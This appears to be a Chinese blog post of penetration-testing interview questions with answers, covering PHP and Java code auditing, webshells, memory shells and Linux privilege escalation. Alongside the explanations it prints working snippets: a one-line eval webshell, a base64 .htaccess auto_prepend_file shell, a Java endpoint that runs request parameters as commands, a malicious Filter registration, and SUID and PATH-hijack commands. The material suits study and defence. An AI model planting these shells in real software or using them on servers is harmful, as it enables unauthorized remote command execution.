2025年渗透测试面试题总结-37(题目+回答)

发布于:2025-08-29 ⋅ 阅读:(15) ⋅ 点赞:(0)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

🌐 PHP安全相关

1. 审计流程

2. 命令执行函数

3. 文件上传函数

4. 代码执行函数

5. vendor目录安全

6. PHPUnit漏洞利用

7. 无文件WebShell实现

☕ Java安全相关

1. 通用漏洞组合利用

2. 命令执行相关类

3. 框架审计重点

4. 审计流程与重点

5. Tomcat回显技术

6. 内存马实现

🔍 其他安全领域

1. POC/EXP开发心得

2. 漏洞复现经验

3. Linux提权姿势

4. Linux渗透关键文件

💎 总结

 PHP安全相关
1. 审计流程
2. 命令执行函数
3. 文件上传函数
4. 代码执行函数
5. vender目录
6. phpunit
7. php可以构造无文件shell吗

# Java安全相关
1. 挖过的通用洞,你会怎么利用(组合)
2. 命令的函数或包
3. java哪些框架,审过哪些框架,它们常出现的问题是什么
4. 审计流程,你一般关注哪些洞,或擅长挖哪种类型
5. tomcat做回显
6. 内存马的实现

# 其他
- 写poc/exp的经历和心得
- 复现的一些漏洞
- Linux 提权的姿势
- Linux下有哪些文件进行渗透时比较关注的,及文件权限问题
- dirty cow 的时间及其修复版本(哪年后就没法用了)

🌐 PHP安全相关

1. 审计流程
  1. 入口点扫描:追踪用户输入($_GET/$_POST/$_COOKIE/文件上传/Header)。
  2. 敏感函数溯源:全局搜索 eval()system()move_uploaded_file() 等函数,分析参数是否可控。
  3. 依赖库检查:审查 composer.jsonvendor 目录,检测第三方库漏洞(如已知CVE)。
  4. 安全配置审计:检查 php.iniallow_url_include=Offdisable_functions 等)。
  5. 业务逻辑漏洞:重点审计权限校验、支付流程、密码重置等关键功能。

2. 命令执行函数
高危函数 风险场景
system() 执行系统命令并直接输出结果
exec() 执行命令但无回显(需手动输出)
passthru() 直接输出二进制数据(如图片)
shell_exec() 执行命令并返回完整字符串
popen() 创建进程管道(可读写)

🔐 防御:禁用函数列表 + 使用 escapeshellarg() 过滤参数。


3. 文件上传函数
  • 核心函数move_uploaded_file()(将临时文件移至目标路径)。
  • 漏洞点
    • 未校验文件类型(仅前端验证)。
    • 路径拼接可控(../ 目录穿越)。
    • 文件名未重命名(导致覆盖敏感文件)。
  • 防御:白名单校验 MIME 类型 + 随机重命名 + 存储目录禁用执行权限。

4. 代码执行函数
函数 触发方式
eval() 执行字符串中的 PHP 代码
assert() 执行表达式(常用于后门)
preg_replace() 使用 /e 修饰符执行替换内容
create_function() 动态创建匿名函数(参数注入)
call_user_func() 回调函数参数可控

💥 案例:<?php eval($_REQUEST['cmd']);?> 构成 WebShell。


5. vendor目录安全
  • 作用:存放 Composer 安装的第三方库。
  • 风险
    • 未删除开发依赖(如测试脚本 vendor/phpunit)。
    • 包含已知漏洞库(如 guzzlehttp 的SSRF漏洞)。
  • 防御
    1. 生产环境删除 .git 和测试文件。
    2. 定期运行 composer audit 扫描漏洞。

6. PHPUnit漏洞利用
  • 常见漏洞
    • 测试脚本暴露/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 可直接执行任意代码(CVE-2017-9841)。
    • 反序列化链:利用 __destruct()__wakeup() 触发恶意操作。
  • 修复:删除生产环境的 phpunit 目录。

7. 无文件WebShell实现

支持方式

  1. 内存驻留:通过 php://filter.htaccess 加载恶意载荷到内存。
    php# 利用 .htaccess AddHandler application/x-httpd-php .jpg php_value auto_prepend_file "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=" 
  2. 共享内存shmop 扩展写入恶意代码到共享内存段。
  3. OPcache:覆盖缓存中的编译结果(需服务器权限)。

☕ Java安全相关

1. 通用漏洞组合利用
漏洞组合 利用效果
反序列化 + JNDI注入 触发远程类加载(如 Log4j2)
XStream + XXE 读取服务器敏感文件
Spring Cloud + SpEL 表达式注入执行命令
Shiro + Padding Oracle 伪造身份认证 Cookie

2. 命令执行相关类
类/方法 所属框架
Runtime.getRuntime().exec() JDK 原生
ProcessBuilder.start() JDK 原生
GroovyShell.evaluate() Groovy
ScriptEngine.eval() JDK 脚本引擎
@ShellMethod(Spring Shell) Spring Boot

3. 框架审计重点
框架 常见漏洞 审计关注点
Spring SpEL 注入、CVE-2022-22965 参数绑定、表达式解析
Fastjson 反序列化漏洞(<=1.2.47) AutoType 校验逻辑
Shiro 硬编码密钥、RememberMe 反序列化 Cookie 加密算法与密钥强度
Struts2 OGNL 表达式注入 拦截器参数过滤机制
Hibernate SQL 注入(HQL) 拼接查询语句

4. 审计流程与重点
  1. 入口定位
    • HTTP 请求入口(Servlet、Controller)。
    • 配置文件(web.xmlspring-config.xml )。
  2. 漏洞聚焦
    • 反序列化readObject()ObjectInputStream
    • 表达式注入:SpEL、OGNL、EL 表达式解析点。
    • 权限绕过:拦截器配置错误、@PreAuthorize 缺失。
  3. 工具辅助:Fortify、CodeQL 扫描 + 人工验证。

5. Tomcat回显技术
java// 通过 Response 对象写入执行结果 @RequestMapping("/rce") public void rce(HttpServletRequest req, HttpServletResponse res) throws IOException { String cmd = req.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { res.getWriter().write(line + "\n"); } } 

🔧 无回显场景:使用 DNSLog 或 HTTP 请求外带数据。


6. 内存马实现
  1. Filter型:动态注册恶意 Filter 拦截请求。
    javaFilter filter = new EvilFilter(); FilterRegistration.Dynamic registration = servletContext.addFilter("evil", filter); registration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*"); 
  2. Controller型:利用 Spring 的 RequestMappingHandlerMapping 动态添加恶意路由。
  3. Agent型:通过 Java Agent 修改字节码(如 javassist 修改 AbstractTranslet)。

🔍 其他安全领域

1. POC/EXP开发心得
  • 原则
    1. 环境兼容:适配不同版本(如 Python 2/3、JDK 版本)。
    2. 无害化:避免 rm -rf 等危险操作,使用 id/whoami 验证。
  • 技巧
    • 使用 requests.Session() 保持会话(应对 Cookie 验证)。
    • 多线程加速检测(如爆破路径)。

2. 漏洞复现经验
漏洞类型 代表案例 关键点
RCE Log4j2 (CVE-2021-44228) JNDI 服务构造(LDAP)
反序列化 Fastjson (CVE-2022-25845) 绕过 AutoType 校验
SSRF Weblogic (CVE-2014-4210) 内网端口扫描

3. Linux提权姿势
类型 命令/工具 适用场景
SUID滥用 find / -perm -4000 2>/dev/null 查找可执行文件(如 vim
内核漏洞 dirtycow(CVE-2016-5195) Linux < 4.8.3(2016年前)
定时任务劫持 注入恶意代码到 /etc/cron* 权限配置错误
环境变量劫持 export PATH=.:$PATH 调用相对路径程序

📅 Dirty Cow修复:2016年10月披露,Linux 内核 ≥ 4.8.3 已修复。


4. Linux渗透关键文件
文件路径 用途 权限要求
/etc/passwd 用户列表(可读) 所有用户
/etc/shadow 密码哈希(需 root) root
~/.ssh/id_rsa 用户私钥 属主用户
/etc/crontab 系统定时任务 root
/var/log/auth.log 登录日志(需 sudo) adm 组用户

💎 总结

  • PHP安全核心:过滤输入、禁用危险函数、隔离第三方库。
  • Java安全核心:反序列化链防御、表达式沙箱、权限最小化。
  • 渗透关键:内核漏洞时效性(如 Dirty Cow)、权限配置审计(SUID/Cron)


网站公告

今日签到

点亮在社区的每一天
去签到